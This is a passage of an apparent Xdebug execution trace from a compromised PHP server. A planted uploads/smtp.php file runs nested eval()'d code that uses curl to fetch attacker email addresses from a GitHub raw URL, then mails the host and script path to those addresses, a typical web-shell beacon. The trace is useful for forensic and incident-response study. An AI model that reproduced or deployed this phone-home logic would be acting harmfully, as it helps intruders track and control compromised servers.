of type (curl) 10031 NULL 6 53 1 0.054961 452080 6 53 R TRUE 6 54 0 0.054973 451984 curl_exec 0 /var/www/html/uploads/smtp.php(1) : eval()'d code(1) : eval()'d code(18) : eval()'d code 13 1 resource(6) of type (curl) 6 54 1 0.101685 452272 6 54 R 'secureonlineteam1337@aol.com' 5 A /var/www/html/uploads/smtp.php(1) : eval()'d code(1) : eval()'d code(18) : eval()'d code 13 $result = 'secureonlineteam1337@aol.com' 5 45 1 0.101852 451328 5 45 R 'secureonlineteam1337@aol.com' 4 A /var/www/html/uploads/smtp.php(1) : eval()'d code(1) : eval()'d code(18) : eval()'d code 17 $b1 = 'secureonlineteam1337@aol.com' 5 55 0 0.101899 451328 get_contents 1 /var/www/html/uploads/smtp.php(1) : eval()'d code(1) : eval()'d code(18) : eval()'d code 18 1 'https://raw.githubusercontent.com/devildrinker/mail/master/mail.txt' 6 56 0 0.101926 451328 curl_init 0 /var/www/html/uploads/smtp.php(1) : eval()'d code(1) : eval()'d code(18) : eval()'d code 5 1 'https://raw.githubusercontent.com/devildrinker/mail/master/mail.txt' 6 56 1 0.101956 452272 6 56 R resource(7) of type (curl) 5 A /var/www/html/uploads/smtp.php(1) : eval()'d code(1) : eval()'d code(18) : eval()'d code 5 $ch = resource(7) of type (curl) 6 57 0 0.101989 452240 curl_setopt 0 /var/www/html/uploads/smtp.php(1) : eval()'d code(1) : eval()'d code(18) : eval()'d code 6 3 resource(7) of type (curl) 19913 1 6 57 1 0.102007 452336 6 57 R TRUE 6 58 0 0.102020 452240 curl_setopt 0 /var/www/html/uploads/smtp.php(1) : eval()'d code(1) : eval()'d code(18) : eval()'d code 7 3 resource(7) of type (curl) 52 1 6 58 1 0.102036 452336 6 58 R TRUE 6 59 0 0.102049 452240 curl_setopt 0 /var/www/html/uploads/smtp.php(1) : eval()'d code(1) : eval()'d code(18) : eval()'d code 8 3 resource(7) of type (curl) 10018 'Mozilla/5.0(Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0' 6 59 1 0.102078 452336 6 59 R TRUE 6 60 0 0.102091 452240 curl_setopt 0 /var/www/html/uploads/smtp.php(1) : eval()'d code(1) : eval()'d code(18) : eval()'d code 9 3 resource(7) of type (curl) 64 0 6 60 1 0.102107 452336 6 60 R TRUE 6 61 0 0.102119 452240 curl_setopt 0 /var/www/html/uploads/smtp.php(1) : eval()'d code(1) : eval()'d code(18) : eval()'d code 10 3 resource(7) of type (curl) 81 0 6 61 1 0.102134 452336 6 61 R TRUE 6 62 0 0.102149 452240 curl_setopt 0 /var/www/html/uploads/smtp.php(1) : eval()'d code(1) : eval()'d code(18) : eval()'d code 11 3 resource(7) of type (curl) 10082 NULL 6 62 1 0.102167 452336 6 62 R TRUE 6 63 0 0.102180 452240 curl_setopt 0 /var/www/html/uploads/smtp.php(1) : eval()'d code(1) : eval()'d code(18) : eval()'d code 12 3 resource(7) of type (curl) 10031 NULL 6 63 1 0.102195 452336 6 63 R TRUE 6 64 0 0.102208 452240 curl_exec 0 /var/www/html/uploads/smtp.php(1) : eval()'d code(1) : eval()'d code(18) : eval()'d code 13 1 resource(7) of type (curl) 6 64 1 0.230188 452528 6 64 R 'secureonlineteam@yandex.com\n' 5 A /var/www/html/uploads/smtp.php(1) : eval()'d code(1) : eval()'d code(18) : eval()'d code 13 $result = 'secureonlineteam@yandex.com\n' 5 55 1 0.230330 451584 5 55 R 'secureonlineteam@yandex.com\n' 4 A /var/www/html/uploads/smtp.php(1) : eval()'d code(1) : eval()'d code(18) : eval()'d code 18 $c1 = 'secureonlineteam@yandex.com\n' 4 A /var/www/html/uploads/smtp.php(1) : eval()'d code(1) : eval()'d code(18) : eval()'d code 19 $hex1 = 'superstar0882@gmail.com,superstar0882@hotmail.com,secureonlineteam@yandex.com,secureonlineteam1337@aol.com,secureonlineteam@yandex.com\n' 4 A /var/www/html/uploads/smtp.php(1) : eval()'d code(1) : eval()'d code(18) : eval()'d code 20 $baslik = 'localhost' 4 A /var/www/html/uploads/smtp.php(1) : eval()'d code(1) : eval()'d code(18) : eval()'d code 21 $xd1 .= 'localhost /uploads/smtp.php$\r\n' 5 65 0 0.230432 451800 mail 0 /var/www/html/uploads/smtp.php(1) : eval()'d code(1) : eval()'d code(18) : eval()'d code 22 3 'superstar0882@gmail.com,superstar0882@hotmail.com,secureonlineteam@yandex.com,secureonlineteam1337@aol.com,secureonlineteam@yandex.com\n' 'localhost' 'localhost /uploads/smtp.php$\r\n' 5 65 1 0.231284 451896 5 65 R FALSE 4 31 1 0.231310 451800 3 15 1 0.231324 440160 2 7 1 0.231334 411184 0.231376 328688 TRACE END [2023-02-12 20:09:20.862234]